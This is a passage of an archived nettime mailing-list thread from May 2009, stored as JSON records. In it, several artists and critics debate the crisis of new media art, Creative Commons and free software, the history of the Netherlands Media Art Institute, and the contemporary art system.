week):\n\nhttp://www.we-make-money-not-art.com/archives/2009/05/the-netherlands-media-art-inst.php\n\npasting  you  here  the  transcription  of  my  intervention  at  this\nsymposium,  let  it  be   also  a  contribution  to  this  interesting\ndiscussion thread:\n\n                            ------------\n\nAt the NIMK's symposium \"Positions in Flux\" I've taken the occasion to\nshare thoughts  on the  current perception of  Free Software  and Open\nSource philosophy  in art,  along with some  overdue criticism  of the\nCreative Commons hollow  hype, as well of the  Creative Industries and\ntheir systematised processing  of art for the global  market.  Even if\nnot  obvious, I  believe the  dynamics  of these  two phenomenons  are\nrelated; among the quoted in the intervention are Benjamin Mako Hill's\n\"Towards a Standard of  Freedom: CreativeCommons and the Free Software\nMovement\"[1] and Florian Cramer's post on nettime \"The Creative Common\nMisunderstanding\"[2],  while  the vigorous  critique  of the  Creative\nIndustries  stands on  Rana Dasgupta's  essay  \"The Next  Idea of  the\nArtist  (Art,   music  and  the  present   threat  of  creativity)\"[3]\n\n\nHere below a short transcript:\n\n\"Open Source\" doesn't mean free access, nor open space or open air; it\npresumes  a  seamful[4]  approach  to  design as  a  response  to  the\nincreasing  reliance  on  technology  and  its  accessibility;  it  is\ninteractive without prescribed  boundaries, following a combinatorial,\ngenerative approachto development;  it is peer to peer  as no producer\ncan control further interaction patterns; it is grassroot as creations\nare  born out  of  initiative and  cohesion  based on  needs felt  and\nunderstood in first person by community members.\n\nAbout  Creative  Commons, its  motto  \"Some  rights  reserved.\"  is  a\nrelatively  hollow  call:  the  slogan  factually  reverses  the  Free\nSoftware and Open Source philosophy  of reserving rights to users, not\ncopyright owners,  in order  to allow the  former to  become producers\nthemselves. The dis/appropriating loop of creativity must be recursive\nto be  fruitful: not only  productionmeans belong to the  people using\nthem, further creations  should be free to be  recombined. rights must\nbe granted  focusing on people  interacting, not just  those providing\nthe interactive infrastructure.\n\nUnfortunately there  is a diffuse lack of  perception for alternatives\noffered by  the Open  Source and Free  Software approach  over current\nprofit models.  As  a present problem, also deriving  from the lack of\nunderstanding  of the  importance of  grass-root  creativity, top-down\ncultural   management  is   patronising   art  production:   massmedia\naesthetics of  an entirely sanitised and efficient  creativity, of the\nsort  that will  not  rely on  unstable  people and  can therefore  be\nglobally rationalised.\n\nThat the  great artists of  modern Western culture managed  to produce\nwhat they  did, despitethe danger  and intensity of their  effort, was\ndue in large  part to improvised social forms  built around close-knit\nnetworks  where  thought and  affect  circulated  with high  velocity,\nandwhere it  was possible to  try out forms of  non-conventional human\nrelationships that would  not destroy, nor be destroyed  by, a life of\nart. Seen  from an historical perspective,  In the second  half of the\ntwentieth  century many  of the  functions of  creative  networks were\nalready  taken  over in  Europe  by  institutions (government  funding\nbodies,  universities,  museums,  etc)  and much  of  their  excessive\nfeeling  wasneutralised. This  was  only  a small  part  of a  general\nprocess of the time: the absorption of human emotion into bureaucratic\nchannels,  and the  emergence of  a social  coolness,  anefficiency of\nfeeling.\n\nAt this  stage in the  twenty-first century, we  are in the  middle of\nanother   large-scale  restructuring  of   ideas  of   creativity  and\nculture. As one of the most significant generators of image and value,\ncreativity now has become a  critical resource for the global economic\nengine.   What creativity  is,  and  how it  can  be systematised  and\ncirculated, are therefore  urgent questions of contemporary capitalist\norganisation.   As  cultural  producers   are  thrust  into  the  full\nintensity of  globally dispersed, just-in-time  production, new images\nof creative inspiration and output are required that sit tidily within\nthe systematised  processes of the  global market. Creativity  must be\nrendered comprehensible,  transparent and rational: there  can be none\nof  the destructive  excesses  evident in  the  lives of  many of  the\ngreatest  artists  of  European  history.  Creativity  must  circulate\ncleanly and quickly, and it  should leave no dirty remainder. For what\ninterests Hollywood, and the market in general, is not creativity as a\ncomplex human  process, weighed down  in bodies and  relationships and\nempty days,  but creativity as  an abstraction, free  of irrationality\nand  pain, and  light enough  to  hover like  a great  logo above  the\ncontinents.\n\nPerhaps, as the logic  of systematised production occupies the terrain\nof human  creativitymore completely,  we will reach  a stage  where we\nsurrender  all knowledge  about  this troubling  domain,  and it  will\nbecome entirely alien  to us. Perhaps one day we  will be terrified of\nwhat  explosive dangers  might rise  up from  the creativity  of human\nbeings.\n\n[1] http://mako.cc/writing/toward_a_standard_of_freedom.html\n\n[2] http://www.nettime.org/Lists-Archives/nettime-l-0610/msg00025.html\n\n[3] http://ranadasgupta.com/texts.asp?text_id=45\n\n[4] http://www.themobilecity.nl/2008/01/05/designing-for-locative-media-seamless-or-seamful-experiences/\n\n\n- -- \n\njaromil, dyne.org developer, http://jaromil.dyne.org\n\nGPG: 779F E8B5 47C7 3A89 4112  64D0 7B64 3184 B534 0B5E\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.4.9 (GNU/Linux)\n\niEYEARECAAYFAkoP/aAACgkQe2QxhLU0C15y4ACeKYaj8pNKu7lS/Z1sIuVUtbfL\nmBUAn2h7gwq7AN0Gsv+lgidMWqZoga1q\n=Skrp\n-----END PGP SIGNATURE-----\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00047",
                                        "date": "Sun, 17 May 2009 14:05:54 +0200",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "20090517120554.GA4808 {AT} dyne.or",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00047.html",
                                        "content-type": "text/plai",
                                        "author_name": "jaromil",
                                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                                    },
                                    {
                                        "from": "\"xname\" <root {AT} xname.cc>",
                                        "content": "> jaromil said:\n> Montevideo / Time Based  Arts ...  which is now called Nederlands\n> Instituut voor Mediakunst  (NIMK, BTW)\n> if  we speak of a national  institute that started in  a squat in\n> Amsterdam 30 years  ago\n\nHello.\n\nI did not remember that the 'Nimk' was started in a squat: isn't this the\nstory of Paradiso and Melkweg?\n\nAs far as I know the 'Netherlands Media Art Institute' was born when\n'Monte Video' and 'Time Based Arts' merged (1993).\n\nMonte Video was founded by Ren\u00e9 Coelho in 1978, and initially operated\nfrom his house in Amsterdam. (was that squatted? I tend to doubt.)\nMonte Video focused on video art and provided equipment for producing\nworks and space to show them (soon collecting and distributing...\nvideo-tapes!).\n\nTime Based Arts was founded in 1983 by the Association of Video Artists,\nso it was an artists run association creating a network for distribution;\nit was more performance oriented than Monte Video, according to the story\nthat was narrated to me, and which I deduced from the collection. (Can\nanyone confirm this, please?)\nWere they squatting? But they were getting funding...\nI am somewhat curious.\n\nMaybe other people on this list know more.\n\nThere is a page of history on the nimk.nl, but i saw no wikipedia entry on\nthis topic.\nI find the *story of this institute quite beautiful and paradigmatic in\nthe development of the (non-linear) chain of media mutations (which could\noff course be expanded):\n\nhappening/performance (art=life)\nelectronic art\nvideo-art (art=registration)\nmedia-art, software-art (art=simulation)\n\nI paste it below.\n\nBest,\nEleonora\n\n===\n\n**History**\n\n1978\nMonte Video is founded by Ren\u00e9 Coelho. From his home on the Singel in\nAmsterdam he makes equipment and documentation available, and furnishes\none room as a gallery. The first video artist whose work is shown here on\nthe Singel was Livinus van de Bundt, Coelho's inspiration. Other artists,\nsuch as Bill Viola, Gary Hill, Shelly Silver and Gabor Body, soon make\ncontact. It is not long before Monte Video has a large selection of works\navailable for rental.\n\n1983\nThanks to government funding Monte Video is able to move to Amsterdam\nNorth. There is now sufficient space to offer regular presentations. Not\nonly Dutch artists, but also those from other countries are given a chance\nto show their videos or installations.\n\n1986\nGovernment funding received by Monte Video is cut back to almost nothing.\nMonte Video does receive several small transitional grants from the city\nof Amsterdam.\nTime Based Arts, which had been founded in 1983 by the Association of\nVideo Artists, is fast becoming well-known as a distributor of video art,\nand continues receiving government funding.\n\n1986-1993\nRen\u00e9 Coelho continues on his own. Monte Video moves back to his home on\nthe Singel. The acquisition of production facilities, distribution,\ndocumentation and promotion goes on, financed from his own income and by\norganizing large projects. One of these, as an example, was 'Imago', an\nexhibition of Dutch video installations which toured worldwide for five\nyears beginning in 1990. There were also plans laid for the first\nconservation programs for video art.\nThe chairman of Time Based Arts, Aart van Barneveld, died; his death was\nfollowed by many conflicts within the organization. In the early 1990s\nTime Based Arts also lost its subsidies and threatened to go under. Monte\nVideo and Time Based Arts decide to provide a joint art program for\nAmsterdam cable TV, Channel Zero.\n\n1993\nTime Based Arts merges with Monte Video. Their work is continued under the\nnew name of Netherlands Media Art Institute, Montevideo/Time Based Arts.\nThis fusion does free up national funding. In both 1997 and 2001 the\ngrants are expanded and converted into a structural subsidy for four\nyears.\n\n1993-2002\nThe Netherlands Media Art Institute moves twice, in 1994 to the Spuistraat\nand in 1997 to its present location on the Keizersgracht.\nThe Institute continues to grow through these years, and adopts the\nfollowing mission statement: The Netherlands Media Art Institute supports\nmedia art in three core areas: presentation, research and conservation. At\nthe same time, through its facilities it offers extensive services for\nartists and art institutions. Among these services are educational\nprograms, to be developed to accompany all activities.\n\nand\n\n**History of the Collection**\n\nThe collection of the Netherlands Media Art Institute, Montevideo/Time\nBased Arts reflects the turbulent history of the Institute. In addition to\nthe collection of Monte Video, the predecessor of the Netherlands Media\nArt Institute, the Institute administers the collections of four\ninstitutions: the Lijnbaan Center (1970-1982), Time Based Arts\n(1983-1994), De Appel (1975-1983) and the Institute Collection\nNetherlands. This combination of artists' initiatives (Time Based Arts, De\nAppel and the Lijnbaan Center) and more formal institutions (Institute\nCollection Netherlands and the present Netherlands Media Art Institute)\naffords the collection a surprising diversity. In addition to renowned\nartists like Bill Viola, Nam June Paik and Gary Hill (who were represented\nin the collection as far back as the 1970s), there are internationally\nknown Dutch artists who experimented with the medium for only a short\nperiod in the 1970s, such as Marinus Boezem, Jan van Munster and Pieter\nEngels.\nBefore any institutions at all had yet been created for the purpose of\ncollecting small centers were set up in various parts of The Netherlands\nwhich facilitated and promoted the use of video by and for artists. The\nearliest examples of this were Agora Studios in Maastricht, the Lijnbaan\nCenter in Rotterdam (itself a merger of the studio of Venster in Rotterdam\nand the video studio which was set up for the Sonsbeek exhibition in 1971\nin Arnhem), and a couple of individuals such as the artists Miguel-\u00c1ngel\nC\u00e1rdenas and Jack Moore in Amsterdam, who made their cameras available for\nother artists. Many of the works which were made in this earliest period\nof Dutch video art only surfaced from oblivion in the course of the 1990s.\nSurprising discoveries among them are the works of Dennis Oppenheim, Terry\nFox, Wim Gijzen, Nan Hoover and Tajiri.\n\nWith the arrival of the collection of De Appel an enormously rich\ncollection of video records of performances was added. De Appel flourished\nin the 1970s as one of the most progressive international work sites for\nperformance art. The collection of this institution contained unique works\nby Vito Acconci, Laurie Anderson, Gina Pane, Carolee Schneemann and\nothers. But in addition to records of events in her own gallery, Wies\nSmalls, the founder of De Appel, also built up a collection of\ninternational video art in order to enable the Dutch public to become\nacquainted with what was happening internationally, including work by\nDouglas Davis, Ulrike Rosenbach, Joan Jonas and Alison Knowles.\n\nIn the early 1980s, with De Appel as its base, efforts were begun to\nestablish an association for video artists, which later created the Time\nBased Arts Foundation. The collection of this artists' association, in\naddition to works by artists based in The Netherlands, such as\nAbramovic/Ulay, Hooykaas/Stansfield, Ben d'Armagnac, Christine Chiffrun\nand Lydia Schouten, also included work by international artists like Mona\nHatoum and General Idea.\nTime Based Arts maintained an active collection policy, in which any\nartist who worked with video could try to have his or her work included in\nthe collection. As it grew the collection became enormously diverse and\nafforded a good overview of the various ways that video could be employed\nin the visual arts. Through in to the 1990s Time Based Arts played an\nimportant role in the collection, distribution and support of video art\nuntil, in 1994, under pressure from the municipal authorities of\nAmsterdam, it entered into a merger with Monte Video.\n\nRen\u00e9 Coelho began his video gallery Monte Video in 1978, and in doing so\nlaid the foundation for the present Institute. Monte Video was a gallery\nwhich specialized in electronic art and especially in video art that\nsought out the creative possibilities and qualities of the medium itself.\nAn important impetus for establishing the institution was the work of the\nDutch video pioneer Livinus van de Bundt. He was therefore the first\nartist to be shown in the gallery. Later the Vasulkas, Bert Schutter,\nPeter Bogers, Matthew Schlanger and many others followed. In addition to\nthe works that were to be seen in the gallery, Monte Video began to be\nactive in collecting and distributing work. Bill Viola, Gary Hill, Shelly\nSilver and Gabor Body were for instance artists who 'stabled' their work\nwith Monte Video. The gallery owed its international success chiefly to\nthis. When in the 1990s the conservation of video works became a pressing\nproblem, the then merged Montevideo/Time Based Arts established itself as\nthe goad and later as the center of technical expertise for carrying out\nthe Conservation of Dutch Video Art project. As well as the collections\ndescribed above, there was integral cooperation with museums that over the\ncourse of time had also collected video work. In addition to much\ntechnical research, the conservation efforts also prompted considerable\nrecording work and research into content. Among questions dealt with were\nthe status of the vehicle, the significance of the material chosen and\nestablishing the boundary conditions for proper exhibition. Because of the\ndifferences in approach among the institutions from which they came,\nconsiderable time was spent integrating the collections with one another,\nand getting the possibilities for the use of the works coordinated with\none another. But now, with the end of the conservation project in sight,\nthe gaps between the collections appear to be closing ever more, and we\ncan proudly present our multi-faceted collection to the public, as we do\nhere.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00050",
                                        "date": "Sun, 17 May 2009 15:40:16 +0200 (CEST)",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "3266070d80132b99ebf3351b5cb71455.squirrel {AT} tuxic.nl",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00050.html",
                                        "content-type": "text/plai",
                                        "author_name": "xname",
                                        "subject": "Re: <nettime> Media Mutations - Life | Registration | Simulation (was: Political Work in the Aftermath of the New Media Arts Crisis)"
                                    },
                                    {
                                        "from": "Matze Schmidt <matze.schmidt {AT} n0name.de>",
                                        "content": ">> [...] Arts\n\n> what art\n\n> True, art\n\nIn short: No money (as one of the forms of profit) without art, no art\nwithout politics. This is a simple formula and any Baudrillard would\nhave secretly subcribed this, even in an epoch of ended (Hegel and \nfollowers) or never realized (Debord and followers) art. The fact is,\nwe* don't need art as art, but -- and someone like jaromil shows this\nto us** -- we need other conditions, as painting, code or video or\ndiy-cooking if you like, I don't care -- changing media is always good.\nBut we are not able to produce the conditions 'now' -- like someone like\njaromil is may thinking -- because the conditions produce us, alienate\nus; they will allways produce us (products produce consumption and vice\nversa), but these conditions are (straightforward now) have to be\nuncaged from ruling modes of production, in the meant sector reproduced\nby national institutions (ZKM in Germany, Ex-Montevideo in NL, your\npersonal MTV at home). The New Media Arts Crisis is not my crisis, It's\njust the crisis of the middle-class (Yuppie or not, fallen programmer or\nrising video-installer) in form of some arts with newer or older media,\nmay it a t-shirt or an lcd. So there is no aftermath here but the\neffects of a mixed up (I love this status and condition) highbrow, baby!\nelite meshed with an alternative \"green\" and independent buisness party\nwith no idea of real coding out there (forget networks, they are roped\nparties).\n__________\n* and ** Me, I and you as the readers who follows this text.\n\nM\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00059",
                                        "date": "Mon, 18 May 2009 11:22:02 +0200",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "1739011317.20090518112202 {AT} n0name.",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00059.html",
                                        "content-type": "text/plai",
                                        "author_name": "Matze Schmidt",
                                        "subject": "Re: <nettime> Media Mutations - Life | Registration | Simulation\t(was: Political Work in the Aftermath of the New Media Arts Crisis)"
                                    }
                                ],
                                "from": "Matze Schmidt <matze.schmidt {AT} n0name.de>",
                                "content": "\nThursday, May 14, 2009, 10:28:59 PM, one wrote:\n> On Monday, May 11 2009, 21:29 (+0200), Geert Lovink wrote:\n\n>> While society at large is inundated with (new) media, the art      \n>> branch that deals with the digital moved itself in a ghetto.       \n\n> This is too true, and that branch has to reinvent itself from\n> scratch or it will collapse very soon (if it isn't already\n> collapsing).\n\nMh, so let it be killing itself, the Reinvent Yourself-Discourse is a\nline from the Pet Shop Boys from the 90s and says nothing than \"Nobody\nknows the trouble I've seen\" in a 'modern' reinvented (sic!) way. But\nI cannot see the trouble of this hard front line between a Paik and\na Ubermorgen. For example the \"1001 Songs of eBay\" of uebermorgen is\njust a funny funny project I can implement over the weekend dealing\nwith online politics sex. And this confused and disoriented waiting\nfor the new-old avantgarde like \"Let's do many Paiks\" is boring and\ndoes not have anything to do with the real world in which electronics\nare the basis of the doings. What was really radical in a Paik?\nFucking the Porta Pack with Alternative TV-Ideas or the TV-Sets with a\nmagnet? Were the neo-dada fluxus guys radical anyway or just radical?\n\n> as if radical video art from Paik to Infermental had never happened.\n> (It seems as if most contemporary artists actually don't know it\n> anymore which is comparable to painters no longer knowing about\n> abstract painting.) One should perhaps advise Montevideo just not to\n> leave its video art roots behind.\n\nI'd like to point out at this point that institutions like Montevideo\nare revolutionizers of money, e.g. they payed Jaromil for working\non dynebolican stuff and by this means they are able to rescue the\nmiddle-class fantasies of a free arty market of software on the basis\nof electronics, a market without too much money and with lower prices,\nwith all effects of an open source software\"z\" driven by the mediate\nsupport of the state.\n\nBut while talking to them some years ago the Montevideo people turned\nout to be very naive in political questions. They have no idea about\neconomy and no idea of what is going on out of their field. That's\nokay, as long as they incorporate all folklore and avantgarde at the\nsam time, because it is their mandate and mission.\n\nMatze Schmidt\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00045",
                                "date": "Fri, 15 May 2009 17:23:12 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "9394574.20090515172312 {AT} n0name.",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00045.html",
                                "content-type": "text/plai",
                                "author_name": "Matze Schmidt",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "follow-up": [
                                    {
                                        "from": "lorian Cramer <fc-nettime {AT} pleintekst.nl>",
                                        "content": "\nHey Renee,\n \n> You point towards a classic issue, the relevance of context. What do\n> different registers (fine art, media art, design, activism, popular\n> culture etc.) give to a particular work and what does a categorization\n> exclude, meaning what does it make *impossible*. Every register\n> influences interpretation, (in)visibility, production and funding.\n\nYeah, and inevitably, these registers are not just different chosen\nperspectives we have on particular works, but also institutional and\ndisciplinary contexts in which workers have to put their work and\nwhose written and unwritten rules they can't avoid abiding.\n\n> Can you speak more specifically about which curators, what art\n> educational programs, which artists and what practices?\n\nI was really thinking of the contemporary art system as it has been\ndescribed by its own protagonists, for example in Isabelle Graw's\n2008 book \"Der grosse Preis\", or has been analyzed, with means that\nreally deserve the term \"artistic research\", by Hans Haacke as early\nas in the 1970s in such pieces as \"The Chocolate Master\". And many\npeople have criticized that system from within, from Henry Flynt in\nthe 1960s to the writer and \"Thing Hamburg\"-blogger Michel Chevalier\ntoday. I think it is legitimate to make a sweepingly general critique\nof the contemporary art system just as it is legitimate to generally\ncriticize and attack the music industry and contemporary popular music\nsystem for example. That doesn't mean that there would be absolutely\nno good music coming out of that system. But unlike other culture\nindustries, the contemporary (Fine) Art system often falsely believes\nin its own autonomy. And it's my general experience and opinion that\nthe art I'm more interested in is more often than not to be found in\nplaces outside that system. In the 1960s, this was true for Fluxus\nand Situationism, in the 1970s and 1980s for the Mail Art Network and\npostpunk, and in the 1990s for Net.art, the Luther Blissett project or\nthe alternative pornography movement. Today, to speak in terms of our\nboth hometown Rotterdam, I'm finding the interesting contemporary arts\nat places like WORM and De Player and only rarely at Witte de With,\nfor example.\n\n> For a constructive debate, it's important to avoid caricatures,\n> otherwise there's a risk of creating false enemies, or missing out\n> on how to best counter the real ones.\n\nWell, this is true, and I admit that my posting was polemical\n- and emotional. My gripes with the contemporary art\nsystem are also based on bad personal experience and\nconfrontations such as the one with the \"Just Do It\" exhibition\n<http://www.mail-archive.com/nettime-l {AT} bbs.thing.net/msg02876.html>.\n\n> hmmmm....not sure about this, having worked as a hybrid artist/\n> designer/curator/media artist/collaborator for some time now, again\n> I reiterate that there are many different artworlds (and for that\n> matter artists/inhabitants/vagrants).\n\nIndeed. It's just that the particular art world I mentioned above\n- and which can be roughly described as the art world of the many\nbiennials, the Documenta, contemporary art spaces like PS.1 and KW,\ncontemporary art journals like October, Texte zur Kunst, Springerin\nand Metropolis M, too often monopolizes the term \"art\" for the art\nthat it represents. Admittedly, its system can be permissive and\ninclude 'outside' practices, particularly when a curatorial subject\nrequires it. However, it would be possible to map the institutions\nmentioned above just by the overlap of the people they involve,\nand come up with a fairly good representation of what makes up\ncontemporary art.\n\nThey same is true, no doubt, if you take ars electronica, transmediale\nand ISEA, plus Leonardo, Neural, Rhizome and Nettime, ZKM and ICC\nTokyo, and pin down the system \"media art\". But just as that latter\nsystem is now being - deservedly - questioned and undergoing a huge\nif not terminal structural crisis, I think it is as legitimate to\nquestion the contemporary Fine Art system, and the Western concept of\nautonomous art. So, going back to Geert's initial report about the\ndiscussion about the crisis of \"Media Art\" at Montevideo Amsterdam,\nI think that it can't be a solution to integrate a very questionable\n\"media art\" system into an equally questionable contemporary art\nsystem. [As it is now happening, in education, too, for example in the\nZurich art school media department where Felix Stalder teaches, and\nwhere the media programme has been rolled back into Fine Art on the\nMaster level.]\n\n> Sometimes they intersect, rub next to each other, come into\n> agitation or simply run on parallel tracks. (Not too disimilar from\n> the so-called new media world.) Think of open source practitioners,\n> the Max/Flash folk, and those that poach the web's detritus for\n> their own purposes, they're all a part of new media arts, but each\n> tend to dwell in different corners of the digital notion universe\n> (or maybe not, if you're one of those cross-pollinators :-)\n\nYep, only that what you describe above is really declining and may not\nsee much art funding or support in the future. The writing is on the\nwall.\n\n> >> Director Heiner Holtappels opened by noticing that new media art\n> >> is not easily accepted by fine art. Traditional art has become\n> >> eclecticism. According to Heiner, all art is technology based.\n> >\n> > This is true, yet contemporary art has mostly given up on\n> > reflecting its media. [I can almost hear an iPhone-wearing curator\n> > saying that reflecting one's media is outmoded modernism.]\n>\n> ouch, how stereotypes do prevail. I wonder if there would be a\n> paradigm shift if he/she had been envisioned with a pre-paid nokia.\n> ;-)\n\nI should have told that the above example was taken from a real\nlife experience, although it's admittedly a deliberate caricature\nwhen I I blew it out of proportion as above. I agree very much with\nBrian that artistic practices (to put it as broadly) are deeply\nintertwined in culture and communication. There's a good chance,\nand I really mean this, that I am getting old - in punk terms:\na boring old fart - who's insisting on outmoded viewpoints. But\nI think that critiques of modernism, as legitimate as they are,\nbecome problematic when they're used to legitimize and maintain the\nstatus quo. [An extreme example is the contemporary art gallery\nscene and private collections in Berlin and their intrinsic links to\nthe German discourse of \"Neue B\u00fcrgerlichkeit\" (\"new bourgeoisie\")\n<http://de.wikipedia.org/wiki/Neue_B\u00fcrgerlichkeit>.] The current\neconomic, political and social developments should render all\nnotions of posthistoire and non-rupture in the fabric of culture and\ncommunication, and hence also in the arts, all the more obsolete.\nThey also question the bourgeois insistence on artistic practice as a\nproduct of individual subjectivity. And finally, the contemporary art\nfield has been much ahead of the media art system in postcolonialism;\nhowever, if this reflection is serious, it should not exclude the\nnotion and system of art itself.\n\nWell, anyway, since the Geuzen collective of which you're a member\noperates in its own carefully chosen grey zone between art, activism,\ndesign, media, research and education, I actually think that our\nstandpoints are quite similar, just that our points of departure\nregarding the usefulness of the contemporary art system might\ndiffer. For me, the projects of De Geuzen are a very good example\nfor a post-autonomous artistic practice. Again, although I'm no\nfriend of the media art system, I'm quite sure that it would be\npractices like those of the Geuzen that would suffer and struggle\nto find institutional support once the \"media art\" system will\nhave vanished and been replaced with the existing contemporary art\nsystem (particularly the more cut-throat kind of the USA, Germany\nand England, with people who are anxious not to pollute Fine Art\nwith applied or sociocultural practices they hate and detest as\nnon-artistic [1].).\n\nFlorian\n\n\n[1] a good example would be Berlin's K\u00fcnstlerhaus Bethanien, a renown\ncontemporary arts space, whose director Christoph Tannert bitterly\nfights a group of squatters and their sociocultural center in his own\nbuilding. \n\n\n\n-- \nblog:     http://en.pleintekst.nl\nhomepage: http://cramer.pleintekst.nl:70\n          gopher://cramer.pleintekst.nl\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00068",
                                        "date": "Sat, 23 May 2009 02:05:03 +0200",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "20090523000503.GA17293 {AT} hp.localdomain",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00068.html",
                                        "content-type": "text/plai",
                                        "author_name": "Florian Cramer",
                                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                                    },
                                    {
                                        "from": "Renee Turner <geuzen {AT} xs4all.nl>",
                                        "content": "\nHi Florian,\n\nMy apologies for a slightly delayed response. I completely agree that\nthere are aspects within the art world which need critical scrutiny. I\nwas simply asking for specificity, and I appreciate that you've taken\nthe time to clarify.\n\n> But unlike other culture industries, the contemporary (Fine) Art\n> system often falsely believes in its own autonomy.\n\nI wonder if this is true. Feminist/post colonial practices have often\nargued the opposite and with much efficacy. Think of Jean Fisher's\ncritical texts, Adrian Piper's work and Lucy Lippard's writing and\ncuratorial projects and even the recent educational department at\nGoldsmiths of Irit Rogoff; all of these practices seem to point to an\nart world/system which is political, embodied and implicated.\n\n> And it's my general experience and opinion that the art I'm\n> more interested in is more often than not to be found in places\n> outside that system. In the 1960s, this was true for Fluxus and\n> Situationism, in the 1970s and 1980s for the Mail Art Network and\n> postpunk, and in the 1990s for Net.art, the Luther Blissett project\n> or the alternative pornography movement.\n\nI'm also interested these movements, practices, antics/pranktics,\nbut unlike you, I see them as a part of a complex and multifaceted\nart world (not outside of it). I find it problematic to define the\nsystem as only popular art mags, the market and large institutions\nwhen there's so much other interesting work going on. (not to mention,\nhow would you classify those of us involved in art education?)\n\n> Today, to speak in terms of our both hometown Rotterdam, I'm finding\n> the interesting contemporary arts at places like WORM and De Player\n> and only rarely at Witte de With, for example.\n\nYes, here we can look into specific curatorial approaches and talk\nabout who these various institutions and orgs are addressing. (this\ntakes more time than I have now... but I'm nonetheless interested in\nexploring this further at a later juncture) >> > Indeed. It's just\nthat the particular art world I mentioned above > - and which can\nbe roughly described as the art world of the many > biennials, the\nDocumenta, contemporary art spaces like PS.1 and KW, > contemporary\nart journals like October, Texte zur Kunst, Springerin > and\nMetropolis M, too often monopolizes the term \"art\" for the art > that\nit represents. Admittedly, its system can be permissive and > include\n'outside' practices, particularly when a curatorial subject > requires\nit. However, it would be possible to map the institutions > mentioned\nabove just by the overlap of the people they involve, > and come up\nwith a fairly good representation of what makes up > contemporary art.\n\nI agree, this *is* truly the crux.  It's crucial to map the overlap of  \npeople/institutions and ask ourselves who's setting the agenda, who's  \ncontrolling the funding and whose *corner* of art world is being  \nrepresented, and moreover, what do these representations make  \nimpossible, meaning what do they render invisible.\n\n\n> They same is true, no doubt, if you take ars electronica,\n> transmediale and ISEA, plus Leonardo, Neural, Rhizome and Nettime,\n> ZKM and ICC Tokyo, and pin down the system \"media art\". But just\n> as that latter system is now being - deservedly - questioned and\n> undergoing a huge if not terminal structural crisis, I think it is\n> as legitimate to question the contemporary Fine Art system, and the\n> Western concept of autonomous art.\n\nIt's absolutely legitimate to question art's autonomy, and it's been\nhappening for some time now. Besides the previous examples listed\nabove, recently there has been much debate about the proliferation of\nbiennials how art feeds into a neoliberal agenda.\n\n> So, going back to Geert's initial report about the discussion about\n> the crisis of \"Media Art\" at Montevideo Amsterdam, I think that it\n> can't be a solution to integrate a very questionable \"media art\"\n> system into an equally questionable contemporary art system. [As it\n> is now happening, in education, too, for example in the Zurich art\n> school media department where Felix Stalder teaches, and where the\n> media programme has been rolled back into Fine Art on the Master\n> level.]\n\nIn many respects this cycle has happened to photography (remember\nwhen John Tagg wrote that no history of art photography could be\nwritten without taking into account, pornography, daguerreotypes,\npropaganda and family snapshots.) Or video's roots in activism,\nhome videos, street journalism (Martha Rosler's essay: Shedding the\nUtopian Moment).... there's much to learn from these histories of\nassimilation. It's important to look at how institutionalization\n\"tames\" media...disciplines the discipline. But while questioning the\nsystems of Fine Art, Media Art etc, I think as producers, viewers,\neducators and implicated accomplices, it's imperative to ask what do\nwe want to see happen or change.\n\nAs a graduate student in the eighties, I was taught by Harmony\nHammond, a painter and co-founder of Heresies. In her painting\nclass, she reserved time to present her personal collection of\nartists' works she felt were under-represented by the mainstream art\nworld. It was a small but extremely powerful gesture. Eventually, in\n2000 the collection was published under the title, Lesbian Art in\nAmerica: A Contemporary History. I learned much from Harmony, but\nthe most influential part of her teaching was watching her practice\n*otherwise*.\n\nSo in this context, I'm asking myself how can I/we practice\n*otherwise* and how might that *doing* nudge or broaden the scope of\ndominant discourses and visual regimes.\n\nbest,\n\nRenee\nhttp://www.geuzen.org/\nhttp://www.fudgethefacts.com/\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00075",
                                        "date": "Mon, 25 May 2009 13:37:41 +0200",
